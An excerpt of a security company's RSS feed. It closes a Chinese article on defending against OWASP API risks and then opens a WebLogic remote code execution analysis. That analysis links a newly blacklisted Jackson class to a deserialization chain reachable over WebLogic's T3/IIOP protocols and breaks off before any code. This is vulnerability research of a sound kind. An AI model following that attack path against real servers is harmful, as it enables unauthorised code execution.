25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">8. 安全培训和意识：通过定期的安全培训和意识活动，提高开发人员和管理员对SSRF攻击和其他安全威胁的认识，加强安全意识和代码质量。</span><o:p></o:p></p><h2 cid="n0" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;white-space: pre-wrap;outline: 0px;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;font-size: 17px;visibility: visible;">对敏感业务流的无限制访问</span></h2><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">建议采取以下措施来确保API的安全性：</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">1. 访问控制：实施严格的身份认证和授权机制，仅允许经过身份验证和授权的用户或应用程序使用敏感业务流API。可以使用API密钥、令牌或证书等方式进行身份验证，并设置访问权限和角色。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">2. API防护：部署API网关或防火墙以保护API免受恶意攻击和未经授权的访问。API网关可以提供访问控制、流量限制、数据加密、DDoS防护等功能，确保API的可靠性和安全性。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">3. 数据加密：对于传输敏感数据的API，使用HTTPS协议进行通信，并采用适当的加密算法来保护数据的机密性和完整性。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">4. 输入验证：在处理API请求时，对输入参数进行有效性检查和过滤，以防止恶意用户通过输入来执行注入攻击或其他安全漏洞。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">5. 审计和日志记录：记录API的访问日志和操作日志，以便进行安全审计和监测，及时发现异常行为和安全事件，并采取相应的响应措施。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">6. 定期漏洞扫描：定期进行API的安全漏洞扫描和渗透测试，发现潜在的安全风险并及时修复。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">7. 更新和升级：及时更新和升级API服务器和相关软件，以获取最新的安全修补程序和功能改进，提高系统的安全性和稳定性。</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space-collapse: preserve;visibility: visible;">通过以上措施的综合应用，可以有效保护敏感业务流API的安全性，减少未经授权的访问和恶意攻击的风险</span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;text-align: left;"><span style="font-size: 14px;outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space-collapse: preserve;visibility: visible;">参考链接：<a href="https://www.akamai.com/blog/security/owasp-top-10-api-security-risks-2023-edition" target="_blank">https://www.akamai.com/blog/security/owasp-top-10-api-security-risks-2023-edition</a></span><o:p></o:p></p><p style="margin-bottom: 16px;text-indent: 0em;text-wrap: wrap;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;text-align: left;"><span style="font-size: 14px;outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space-collapse: preserve;visibility: visible;"><br/></span></p><section style="outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;width: 677px;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;display: flex;justify-content: center;align-items: center;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" data-imgfileid="100001602" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;text-align: center;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;width: 6px;height: 6px;transform: translateX(-14px);"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" data-imgfileid="100001601" style="outline: 0px;display: block;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485220&amp;idx=1&amp;sn=44196d8369d02cae4f39cbfbc91ee955&amp;chksm=c0ddfd55f7aa7443c9d583520cfc17ba052bea1ebf12e5af2d7a1c90d92f4ee30e24029b7dcb&amp;scene=21#wechat_redirect" textvalue="网络安全领域大模型微调方法" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;color: var(--weui-LINK);cursor: pointer;"><span style="outline: 0px;font-size: 14px;">网络安全领域大模型微调方法</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485207&amp;idx=1&amp;sn=939c2f66768d68b8824f15f0648d8de6&amp;chksm=c0ddfd66f7aa7470d834d67de0c57cfd5b1ced815d69a9a5ea485a7cd67360a83a76d560b8d8&amp;scene=21#wechat_redirect" textvalue="源码模糊测试实战" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;color: var(--weui-LINK);cursor: pointer;"><span style="outline: 0px;font-size: 14px;">源码模糊测试实战</span></a></h1><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485159&amp;idx=1&amp;sn=589428e1e56394461dedf5fee2e52c09&amp;chksm=c0ddfc96f7aa75801afacbbf7d04903d90fae0ace4a795b6c01a0794587ec8dc5923e25bc8fd&amp;scene=21#wechat_redirect" textvalue="代理端口复用在后渗透场景中的应用探究" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;color: var(--weui-LINK);cursor: pointer;"><span style="outline: 0px;font-size: 14px;">代理端口复用在后渗透场景中的应用探究</span></a></h1><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-align: center;"><br style="outline: 0px;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100001604" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;color: rgb(27, 110, 201);letter-spacing: 2px;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;"><span msthidden="1" style="outline: 0px;color: rgb(27, 110, 201);"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-imgfileid="100001603" data-ratio="0.0734375" style="outline: 0px;display: initial;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;"><section class="mp_profile_iframe_wrp" style="outline: 0px;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/300?wx_fmt=png&amp;wxfrom=19" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="51" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1" data-weui-theme="light" data-biz_account_status="0"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">点击</span><span style="outline: 0px;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);"><strong style="outline: 0px;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;">分享给小伙伴</span></section><section style="outline: 0px;"><br style="outline: 0px;"/></section><section style="outline: 0px;text-align: left;"><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">↓↓点击</span><span msthash="837306" msttexthash="88348169" style="outline: 0px;font-size: 14px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);"><strong style="outline: 0px;">阅读原文</strong></span><span style="outline: 0px;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;font-size: 14px;color: rgb(136, 136, 136);">，了解更多墨云信息</span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2d34917c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247485256%26idx%3D1%26sn%3D181122826090e48bee1d4181de6643a4%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 24 Nov 2023 17:03:00 +0800</pubDate>
    </item>
    <item>
      <title>WebLogic 远程代码执行漏洞分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247485244&amp;idx=1&amp;sn=92e28f774000cc91d3ea8072316b9ed6</link>
      <description>VLab安全实验室是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。</description>
      <content:encoded><![CDATA[<p>
原创 <span>VLab安全实验室</span> <span>2023-10-27 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>VLab安全实验室是墨云科技旗下的安全研究团队，专注于漏洞挖掘，红蓝对抗，APT攻防，前瞻性安全技术预研等方向。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=49314e7b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQhwStwBNOIaXUibpyrxJGu82OZfw8LaNYEUuULkdKJKQXjhRV0XB6qULCsIy3DxRMFBAlEzAPbib9Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="54.21686746987952" data-cropx2="500" data-cropy1="0" data-cropy2="373.49397590361446" data-galleryid="" data-ratio="0.8363228699551569" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 74px !important;" data-type="jpeg" data-w="446" src="https://wechat2rss.xlab.app/img-proxy/?k=b0bd8e02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplQVdTRRJicJ2azEOTmTY3OafecibSXaJYKEr60h31TRUOicdYD6RzewdFzj1fiawg9HD0kgaicibZwQmKaQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><section style="margin-right: 8px;margin-left: 8px;outline: 0px;letter-spacing: 0.544px;text-wrap: wrap;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><strong style="outline: 0px;visibility: visible;"><span style="outline: 0px;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;">VLab-实验室</span></strong></section><p style="outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-wrap: wrap;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" data-s="300,640" style="outline: 0px;visibility: visible !important;width: 76px !important;" data-type="gifwxfrom=5wx_lazy=1" data-w="128" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></p><p cid="n4" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">Weblogic最近的补丁日更新了多个远程代码执行漏洞，笔者对比最新的补丁发现黑名单列表中新增了“com.fasterxml.jackson.databind.node”。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="100" data-backw="578" data-galleryid="" data-ratio="0.17314814814814813" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=639d27e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQhwStwBNOIaXUibpyrxJGu8mEKX6sKXRXu9ibAe5x03ica2IPP8jxYI7kxqr893yHshL4gicvmtrZQPw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n5" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">前段时间有ctf赛事和多篇技术文章里面都提到过jackson有从原生反序列化执行到getter的调用链，而weblogic默认开启的t3和iiop协议就有原生反序列化操作。</span></p><p cid="n6" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;text-wrap: wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">在weblogic里面搜索是否有jackson相关jar。</span></p><p 